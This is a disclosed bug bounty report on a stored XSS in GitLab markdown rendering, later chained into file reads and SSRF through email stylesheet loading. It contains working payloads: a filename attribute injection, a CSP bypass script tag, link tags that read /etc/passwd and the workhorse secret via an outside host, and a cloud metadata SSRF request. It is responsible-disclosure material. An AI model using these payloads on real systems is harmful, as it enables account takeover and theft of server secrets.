274 **Stored XSS in markdown via the DesignReferenceFilter**

Share:

TIMELINE

akzz submitted a report to GitLab. May 28th (2 ye

Summary

When rendering markdown, links to designs are parsed using the following `link_reference_pattern`:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/models/design_management/design.rb#L168

Code 489 Bytes Wrap lines Copy Dow

```
def self.link_reference_pattern
  @link_reference_pattern ||= begin
    path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
    ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
    valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
    filename_pattern = %r{
      (?<url_filename> #{valid_char}+ \. #{ext})
    }x

    super(path_segment, filename_pattern)
  end
end
```

The `url_filename` match is then used in `parse_symbol`:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/design_reference_filter.rb#L75

Code 175 Bytes Wrap lines Copy Dow

```
def parse_symbol(raw, match_data)
  filename = match_data[:url_filename]
  iid = match_data[:issue].to_i
  Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end
```

Since `valid_char` is anything apart from a forward slash or whitespace, this allows for any other special characters (such as quotes) to be matched.

The final `url` match gets used when creating the link in `object_link_filter`:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/abstract_reference_filter.rb#L219

Code 313 Bytes Wrap lines Copy Dow

```
url =
  if matches.names.include?("url") && matches[:url]
    matches[:url]
  else
    url_for_object_cached(object, parent)
  end

content = link_content || object_link_text(object, matches)

link = %(<a href="#{url}" #{data}
            title="#{escape_once(title)}"
            class="#{klass}">#{content}</a>)
```

So if a design could be uploaded with a double quote in it's filename, this would cause it to break out of the href attribute.

Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to skip the workhorse by using a `Content-Disposition` header such as `Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png` which allows for any character to be used as part of the design filename.

Since whitespaces and slashes are still invalid, it's only possible to inject tags without attributes, or inject attributed into the `a` element.

Injecting attributes can be chained with the `ReferenceRedactor` to replace the node with arbitrary html via the `data-original` attribute:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/reference_redactor.rb#L77

Code 438 Bytes Wrap lines Copy Dow

```
def redacted_node_content(node)
  original_content = node.attr('data-original')
  link_reference = node.attr('data-link-reference')

  # Build the raw <a> tag just with a link as href and content if
  # it's originally a link pattern. We shouldn't return a plain text href.
  original_link =
    if link_reference == 'true'
      href = node.attr('href')
```

```
end
```

For a CSP bypass, the jsonp endpoint of the google api can be used in combination with `setTimeout`:
`https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout`

Steps to reproduce

1. Create a new project on gitlab.com
2. Create a new issue
3. Make sure burp or similar is running
4. Upload a new design
5. Edit the request and change the Content-Disposition header to `Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png`
6. Refresh the page, there should now be a design named `bbb"class="gfm"a='.png`
7. Create a new issue using the design link and the inner html containing a quote:

Code 121 Bytes Wrap lines Copy Dow

```
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
```

8. Looking at the markup you can see the `a` attribute contains everything up to the inner html and then the attribute `vakzz` has also been injected:

Code 575 Bytes Wrap lines Copy Dow

```
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png&quot; data-original=&quot;
' vakzz=here
&quot; data-link=&quot;true&quot; data-link-reference=&quot;true&quot; data-project=&quot;26924211&quot; data-design=&quot;226146&quot; data-issue=&qu
                          title=&quot;bbb&quot;class=&quot;gfm&quot;a='.png&quot;
                          class=&quot;gfm gfm-design has-tooltip&quot;>
" vakzz="here"></a>
```

7. Create a new issue using the design link, this time including the required data attributed to trigger the `ReferenceRedactor` and the payload html encoded in the `data-original`:

Code 322 Bytes Wrap lines Copy Dow

```
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>
"
</a>
```

8. Save the issue and reload the page

Video F1318763: xss.mp4 4.00 MiB

Zoom in Zoom out Copy Download

0:00 / 0:15

Impact

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

Examples

POC:
https://gitlab.com/vakzz-h1/design-xss/-/issues/3

What is the current *bug* behavior?

- The `AbstractReferenceFilter` is generating the `link` using string interpolation but the `url` could contain double quotes
- The design model can have an arbitrary` attribute

What is the expected *correct* behavior?

- The url should be validated or escaped before being used
- The design model could probably have a validator for the filename

Relevant logs and/or screenshots

Output of checks

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

1 attachment:
F1318763: xss.mp4

1_analyst_oliver HackerOne triage posted a comment. May 30th (2 ye

Hi @vakzz,

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additi information to share.

Have a great day!

Kind regards,
@princeofpersia

1_analyst_oliver HackerOne triage changed the status to **Pending program review**. May 30th (2 ye

Hi @vakzz,

I forwarded your report to Gitlab team, I will let you know once an update is available.

Regards,
@princeofpersia

GitLab rewarded vakzz with a **$1,000** bounty. Jun 1st (2 ye

rchan changed the status to **Triaged**. Jun 1st (2 ye

Hello @vakzz,

Thank you for submitting this report.

We have verified this finding and have escalated to our engineering team. We will be tracking progress internally at https://gitlab.com/gitlab-org/gitlab/-/issues/332420. This issue will be made public 30 days following the release of a patch.

Given the severity of the report, we are paying an initial $1000 on triage. Congratulations!

We will continue to update you via HackerOne as a patch is scheduled for release.

Best regards,
GitLab Security Team

OT: gitlab-securitybot posted a comment. Jun 3rd (2 ye

ETA for fix:

Hi @vakzz,

The issue you reported is currently scheduled to be fixed by 2021-07-31.

Thank you again for contacting us!

Best regards,
GitLab Security Team

vakzz posted a comment. Jul 2nd (about 1 y

Hi @rchan,

I've been digging into this a bit more and have found that it can be turned into a limited arbitrary read and ssrf when combined with email notifications.

premailer-rails will try to preload any styles that are present in the html when sending a mail:

https://github.com/fphilipe/premailer-rails/blob/v1.10.3/lib/premailer/rails/customized_premailer.rb#L14

Code 136 Bytes Wrap lines Copy Dow

```
doc = load_html(html)
options = @options.merge(css_string: CSSHelper.css_for_doc(doc))

super(doc.to_s, options)
```

https://github.com/fphilipe/premailer-rails/blob/v1.10.3/lib/premailer/rails/css_helper.rb#L26

Code 813 Bytes Wrap lines Copy Dow

```
def css_urls_in_doc(doc)
  doc.search('link[@rel="stylesheet"]:not([@data-premailer="ignore"])').map do |link|
    if link.respond_to?(:remove)
      link.remove
    else
      link.parent.children.delete(link)
    end
    link.attributes['href'].to_s
  end
end
```

```
    end

    def cache_enabled?
      defined?(::Rails.env) && ::Rails.env.production?
    end

    def load_css(url)
      Premailer::Rails.config.fetch(:strategies).each do |strategy|
        css = find_strategy(strategy).load(url)
        return css.force_encoding('UTF-8') if css
      end

      raise FileNotFound, %{File with URL "#{url}" could not be loaded by any strategy.}
    end
```

The default strategies are `:filesystem, :asset_pipeline, :network`, so for each `link[@rel="stylesheet"]` found it will try to load the `href` using each of them. T
`FileSystemLoader` starts in the rails root public folder but can be traversed out:

https://github.com/fphilipe/premailer-rails/blob/v1.10.3/lib/premailer/rails/css_loaders/file_system_loader.rb#L22

Code 236 Bytes Wrap lines Copy Dow

```
      def asset_filename(filename)
        if defined?(::Rails) && ::Rails.respond_to?(:root)
          File.join(::Rails.root, 'public', filename)
        else
          File.join('public', filename)
        end
      end
```

Once each style has been loaded, the are joined with a new line before being sent to premailer.

Premailer is pretty strict for what it will inline, but one option is `backround-image` with can be an arbitrary string. We can use this to leak a line from any file by creat
three link tags, the first containing `body { background-image:` the second being the file to leak and the third closing with `;}`.

Code 174 Bytes Wrap lines Copy Dow

```
<link rel='stylesheet' href='http://aw.rs/css/a'>
<link rel='stylesheet' href='../../../../../../../../../../etc/passwd'>
<link rel='stylesheet' href='http://aw.rs/css/c'>
```

This will result in the following css, and premailer will choose the last line of the file and inline that as the `background-image`:

Code 47 Bytes Wrap lines Copy Dow

```
body { background-image:
file_content_here

;
}
```

Using the bug in this issue, arbitrary html can be injected into emails such as https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/views/notify/_note_email.html.haml when commenting on an issue.

Injecting the three sheets above results in the last line of `/etc/passwd` being leaked:

Code 419 Bytes Wrap lines Copy Dow

```
<style>img {
max-width: 100%; height: auto;
}
body {
:/usr/sbin/nologingit: x:1000:1000:GitLab,,,:/home/git:/bin/bash;
}
</style>
</head>
<body style=":/usr/sbin/nologingit: x:1000:1000:GitLab,,,:/home/git:/bin/bash;">
<div class="content">

<p style="color: #777777;">
<a href="https://gitlab.com/vakzz-h1">William Bowling</a>
<a href="https://gitlab.com/vakzz-h1/premain/-/issues/1#note_617522002">commented</a>:
</p>
```

Using this the `gitlab_workhorse_secret` can be leaked using `<link rel='stylesheet' href='../.gitlab_workhorse_secret'>`, which I think could then be used to re
arbitrary files by faking the jwt (untested at the moment though):

Code 100 Bytes Wrap lines Copy Dow

```
<style>img {
max-width: 100%; height: auto;
}
body {
background-image: yBLqwoBpM81XXXXXXX
}
</style>
```

vakzz posted a comment. Jul 2nd (about 1 y

Using `body[ injected file ] { color: red }` its possible to leak the entire file instead of just the first line:

Payload of:

Code 180 Bytes Wrap lines Copy Dow

```
<link rel='stylesheet' href='http://aw.rs/css/a3?1'>
<link rel='stylesheet' href='../../../../../../../../../../../../etc/passwd'>
<link rel='stylesheet' href='http://aw.rs/css/c3?1'>
```

results in:

Code 1.00 KiB Wrap lines Copy Dow

```
<style>img {
max-width: 100%; height: auto;
}
body[ root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbi
color: red;
}
</style>
```

Cheers,
Will

vakzz posted a comment. Jul 3rd (about 1 y

Looking around at https://gitlab.com/gitlab-org/charts/gitlab/-/tree/master/charts/gitlab/charts/unicorn/templates there are quite a few credentials that coul leaked. The secrets.yml file contains various key_bases and the openid_connect_signing_key, and even though only the start of gitlab.yml can be returned it conta the `object_store` google service account credentials.

An example of the SSRF can be done using pretty much the same payload:

Code 192 Bytes Wrap lines Copy Dow

```
<link rel='stylesheet' href='http://aw.rs/css/a3?1'>
<link rel='stylesheet' href='http://metadata.google.internal/computeMetadata/v1beta1'>
<link rel='stylesheet' href='http://aw.rs/css/c3?1'>
```

When encoded and combined with the initial issue the final payload is:

Code 1.32 KiB Wrap lines Copy Dow

```
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="eeee
&#x3C;&#x6C;&#x69;&#x6E;&#x6B;&#x20;&#x72;&#x65;&#x6C;&#x3D;&#x27;&#x73;&#x74;&#x79;&#x6C;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x27;&#x20;&#x68;&#x
fff
"
</a>
```

Which sends an email with:

Code 59 Bytes Wrap lines Copy Dow

```
body[ missing required header "Metadata-Flavor": "Google" ]
```

Cheers,
Will

gitlab_cmaxim GitLab staff posted a comment. Jul 5th (about 1 y

Hello @vakzz,

Thanks for the extra details. At this moment we are having issues reproducing the arbitrary file reads. Would it be posible to help us with the steps (or a screen recording) to trigger it?

Regards,
Costel
Gitlab Security Team

gitlab_cmaxim GitLab staff posted a comment. Jul 5th (about 1 y

Hey @vakzz,

Please ignore the previous message. We managed to reproduce the issue.
We will continue to update you via HackerOne as a patch is scheduled for release.

Best regards,
Costel
GitLab Security Team

vakzz posted a comment. Jul 5th (about 1 y

information you need.

On a side note, the `css_parser` gem uses `Kernel.open` in the `read_remote_file` method which seems unnecessarily dangerous (premailer calls `load_uri!` whic then calls `read_remote_file`).

https://github.com/premailer/css_parser/blob/v1.7.0/lib/css_parser/parser.rb#L581

Code 276 Bytes Wrap lines Copy Dow

```
      if uri.scheme == 'file'
        # local file
        path = uri.path
        path.gsub!(/^\//, '') if Gem.win_platform?
        fh = open(path, 'rb')
        src = fh.read
        charset = fh.respond_to?(:charset) ? fh.charset : 'utf-8'
        fh.close
```

I don't believe it's exploitable though as even though it's possible to perform a redirect from http -> file, luckily the location gets encoded. So for example a redirec with `Location: file:|id` will end up calling `open('%7Cid', 'rb')` .

https://github.com/premailer/css_parser/blob/v1.7.0/lib/css_parser/parser.rb#L604

Code 231 Bytes Wrap lines Copy Dow

```
      elsif res.code.to_i >= 300 and res.code.to_i < 400
        if res['Location'] != nil
          return read_remote_file Addressable::URI.parse(Addressable::URI.escape(res['Location']))
        end
      end
```

Cheers,
Will

OT: gitlab-securitybot posted a comment. Jul 20th (about 1 y

ETA for fix:

Hi @vakzz,

The issue you reported is currently scheduled to be fixed by 2021-08-31.

Thank you again for contacting us!

Best regards,
GitLab Security Team

OT: gitlab-securitybot posted a comment. Sep 1st (about 1 y

ETA for fix:

Hi @vakzz,

The issue you reported is currently scheduled to be fixed by 2021-09-30.

Thank you again for contacting us!

Best regards,
GitLab Security Team

akzz posted a comment. Sep 1st (about 1 y

Thanks @gitlab-securitybot, but looks like it made it into the 14.2.2 release :)

Cheers,
Will

vdesousa GitLab staff updated the severity from High to Critical (9.6). Sep 2nd (about 1 y

itLab rewarded vakzz with a **$15,000** bounty. Sep 2nd (about 1 y

Hi @vakzz

Thank you again for the report! Your finding has been patched in GitLab version 14.2.2, 14.1.4 and 14.0.9 and we are awarding a bounty. We had a little bug with our but your report was effectively patched :). Congratulations!

Please let us know if you find that our patch does not mitigate your finding. Your report will be published in 30 days in GitLab's issue tracker. If you'd like to publicly disclose this report or details of it in a blog post or elsewhere, please allow 30 days to pass before doing so to give time to our customers to upgrade to a patched version.

We look forward to your next report!

Best regards,
GitLab Security Team

vdesousa GitLab staff closed the report and changed the status to **0 Resolved**. Sep 2nd (about 1 y

vakzz requested to disclose this report. Sep 29th (about 1 y

I was thinking about writing a blog post about this set of issues as it was a rather interesting chain. Probably looking to publish it sometime next week if that's ok? Happy to hold off until https://gitlab.com/gitlab-org/gitlab/-/issues/332420 is made public though if it's still private by then.

Cheers,
Will

gitlab_cmaxim GitLab staff posted a comment. Oct 8th (about 1 y

Hey @vakzz,

Thanks for waiting and please let us know when we can read the blog post. I have just changed https://gitlab.com/gitlab-org/gitlab/-/issues/332420 to public.

Looking forward for your next report.

Best regards,
Costel
GitLab Security Team

vakzz posted a comment. Oct 8th (about 1 y

Hi @gitlab_cmaxim,

Great thanks! We (perfect blue) are hosting our ctf this weekend, so I'll start writing it after that and let you know :)

Is the other issue (https://gitlab.com/gitlab-org/gitlab/-/issues/335205) and this ticket right be to disclosed as well?

Also in future, would it be better to submit a new h1 report for something like the arbitrary file read even though it depends on the original issue? I don't mind eithe way, which ever is easier for you.

Cheers,
Will

gitlab_cmaxim GitLab staff posted a comment. Oct 11th (about 1 y

> Is the other issue (https://gitlab.com/gitlab-org/gitlab/-/issues/335205) and this ticket right be to disclosed as well?

Done.

> Also in future, would it be better to submit a new h1 report for something like the arbitrary file read even though it depends on the original issue? I don't mind eit way, which ever is easier for you.

If multiple vulnerabilities are needed to raise the impact, It helps to have all the steps needed to verify the report in one issue.

Thanks,
Costel

vakzz cancelled the request to disclose this report. Oct 11th (about 1 y

Awesome thanks!

> If multiple vulnerabilities are needed to raise the impact, It helps to have all the steps needed to verify the report in one issue.

Great that's easier for me too :)

Cheers,
Will

vakzz requested to disclose this report. Oct 11th (about 1 y

gitlab_cmaxim GitLab staff agreed to disclose this report. Oct 18th (about 1 y

This report has been disclosed. Oct 18th (about 1 y